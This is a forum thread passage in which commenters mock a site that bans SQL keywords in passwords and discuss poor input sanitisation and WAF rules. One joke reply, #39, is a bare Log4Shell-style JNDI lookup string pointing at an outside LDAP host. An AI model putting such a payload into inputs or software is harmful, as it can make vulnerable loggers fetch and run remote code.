Earlier quoted context omitted.
I mean, this is a gross misunderstanding of how user input makes its way into a database safely. If you're putting out error messages like this it's a giant red flag.
It is also very common not to do things right. https://www.bbc.com/future/article/20160325-the-names-that-b... That article is a few years old now and things should have got better, but even by 2016 everyone should have known properly sanitising inputs was critical for a decade or two.
Password may not contain: select, insert, update, delete, drop
31–40 of 254 posts
Re: Password may not contain: select, insert, update, delete, drop
#32Earlier quoted context omitted.
I mean, this is a gross misunderstanding of how user input makes its way into a database safely. If you're putting out error messages like this it's a giant red flag.
It is also very common not to do things right. https://www.bbc.com/future/article/20160325-the-names-that-b... That article is a few years old now and things should have got better, but even by 2016 everyone should have known properly sanitising inputs was critical for a decade or two.
Re: Password may not contain: select, insert, update, delete, drop
#33Re: Password may not contain: select, insert, update, delete, drop
#34Re: Password may not contain: select, insert, update, delete, drop
#35There are a lot of people writing bad code and bad system architectures for their organizations. There are not enough people with the competence, organizational power, and time to catch what's bad and force change in those organizations. In the US you are probably forced to do business via many such terribly coded websites, e.g. your local healthcare provider. In such cases, it might be better if we assumed the implementation might be as awful as it commonly is, and recommended mitigations based on that.
It's also easy for people to test if the website actually allows the nominally prohibited password patterns and complain to some oversight authority if so. Whereas it's not so easy to test, from the outside, whether it's really been done the right way.
It's inelegant and tragic, but in the end it might be a good idea to accept that things are often done poorly and without adequate oversight, and consider what mitigations can prevent the worst outcomes in these cases.
Re: Password may not contain: select, insert, update, delete, drop
#36Optimistically, perhaps this requirement stems from an overzealous WAF
Re: Password may not contain: select, insert, update, delete, drop
#37Re: Password may not contain: select, insert, update, delete, drop
#38The funniest part of this is that they don't even check for all of the banned strings. Source: I'm a student there and tried it out of curiosity.
Re: Password may not contain: select, insert, update, delete, drop
#39 ${jndi:ldap://hunter2.com/totallylegit}Re: Password may not contain: select, insert, update, delete, drop
#40Your password must be valid SQL, Java, Go, or C++ string. Or a haiku about grocery shopping. This way it won’t look like a password in case we leak it.